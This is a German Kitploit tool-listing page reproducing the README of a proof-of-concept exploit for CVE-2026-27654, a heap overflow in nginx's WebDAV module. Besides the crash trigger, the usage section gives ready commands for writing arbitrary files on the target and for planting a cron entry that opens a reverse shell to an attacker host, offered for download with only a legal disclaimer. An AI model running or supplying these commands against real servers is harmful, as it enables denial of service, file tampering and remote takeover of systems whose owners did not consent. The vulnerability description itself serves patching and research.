Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/johanneslks/cve-2026-27654
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungBinary-Exploitation
GitHubjohanneslks/cve-2026-27654

CVE-2026-27654

NGINX `ngx_http_dav_module` Heap-Pufferüberlauf durch `size_t`-Unterlauf (Remote-DoS / potenzielle RCE)

Repository anzeigen
84vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-27654

NGINX ngx_http_dav_module Heap Buffer Overflow via size_t Underflow (Remote DoS / Potential RCE)

Description

ngx_http_dav_copy_move_handler() in src/http/modules/ngx_http_dav_module.c berechnet die Länge der Ziel-URI, indem die Länge des Location-Präfixes von der URI-Pfadkomponente des Destination-Headers subtrahiert wird. Beide Werte sind vom Typ size_t (unsigned 64-Bit). Wenn der Zielpfad kürzer ist als das Location-Präfix, läuft die Subtraktion auf ~0 über, was zu einer massiven memcpy-Länge führt, die eine 7-Byte-Heap-Allokation überläuft und den Worker-Prozess zum Absturz bringt.

Eine einzige manipulierte - oder -Anfrage an eine per gemappte DAV-Location löst den Überlauf aus. Der nginx-Masterprozess startet den Worker neu, aber wiederholte Anfragen halten den Server in einer kontinuierlichen Absturzschleife.

MOVE
COPY
alias

ASan bestätigt: negative-size-param: (size=-7) bei memcpy in ngx_http_core_module.c:1949, aufgerufen von ngx_http_dav_copy_move_handler.

Betroffen: nginx 0.5.13 bis 1.28.2 (stable) sowie 1.29.0 bis 1.29.6 (mainline), kompiliert mit --with-http_dav_module und Verwendung von alias in der DAV-Location. Behoben in 1.28.3 / 1.29.7 (Commit ab4b5b8, PR #1210).

Usage

root@kitploit:~
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080

# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh              # non-ASan build (observes SIGSEGV crash)
./run.sh --asan       # ASan build (definitive proof)
./run.sh --both       # run both sequentially

# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put    # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose

Der Standardmodus bleibt der kanonische Crash-Trigger. Er sendet PUT, gefolgt von einem manipulierten MOVE, dessen Destination-Pfad kürzer ist als das DAV-Location-Präfix:

root@kitploit:~
python3 poc.py --target <HOST:PORT> --mode crash \
  --location-prefix /uploads/ --destination-path /x --alias-len 13

Für autorisierte Laborkonfigurationen, bei denen die DAV-Zielbehandlung einen relativen Zielpfad-Ausbruch erlaubt, kann dasselbe Tool Angreifer-kontrollierte Inhalte an einen gewählten Pfad liefern. Das genaue --location-prefix, --escape-depth und der Zielpfad müssen aus Ihrer eigenen Dienstkonfiguration und Aufklärung stammen:

root@kitploit:~
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/dav-proof.txt --payload-text proof

# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/payload.bin --payload-file ./payload.bin

# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-shell \
  --lhost <ATTACKER_IP> --lport 4444

# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-proof \
  --cron-command 'id > /tmp/dav-root-proof.out'

write-file, cron-shell und cron-cmd sind generische Zustellungshelfer für autorisierte Umgebungen mit einer beschreibbaren DAV-Quelle und einem Zielpfad-Ausbruch. Sie sind nicht erforderlich, um den kanonischen Heap-Overflow-Crash nachzuweisen.

Requirements

  • Ziel: nginx, kompiliert mit --with-http_dav_module, Location-Block mit alias (nicht root), dav_methods enthält COPY oder MOVE
  • Angreifer: Python 3. requests wird verwendet, wenn verfügbar; andernfalls fällt der PoC für einfache HTTP-Ziele auf die Python-Standardbibliothek zurück.
  • Für nativen Build: gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget

Files

DateiBeschreibung
poc.pyPython-PoC – kanonischer Crash-Trigger plus generische COPY/MOVE-Zielmodi
run.shBaut nginx aus dem Quellcode (ASan / non-ASan) und führt den PoC aus
DockerfileMehrstufiger Build der verwundbaren nginx 1.28.2
docker-compose.ymlDocker-Setup mit einem Befehl
nginx.confVerwundbare Konfiguration (alias + dav_methods COPY MOVE)
proof_output.txtASan-Ausgabe aus der Live-Verifizierung

References

  • https://nginx.org/en/security_advisories.html
  • https://github.com/nginx/nginx/commit/ab4b5b8
  • https://github.com/nginx/nginx/pull/1210

Legal Notice

Dieses Projekt wird unter der GNU GPLv3 veröffentlicht.

Es wird für defensive Sicherheitsforschung, Bildung und autorisierte Tests bereitgestellt. Verwenden Sie diesen Code nicht gegen Systeme oder Dienste ohne ausdrückliche Genehmigung des Eigentümers.

Unbefugte Nutzung kann geltendes Recht verletzen. Die Autoren erteilen keine Genehmigung, Systeme Dritter zu testen, und übernehmen keine Verantwortung für Missbrauch.

Siehe die LICENSE-Datei für Garantie- und Haftungsbedingungen.

Tool herunterladen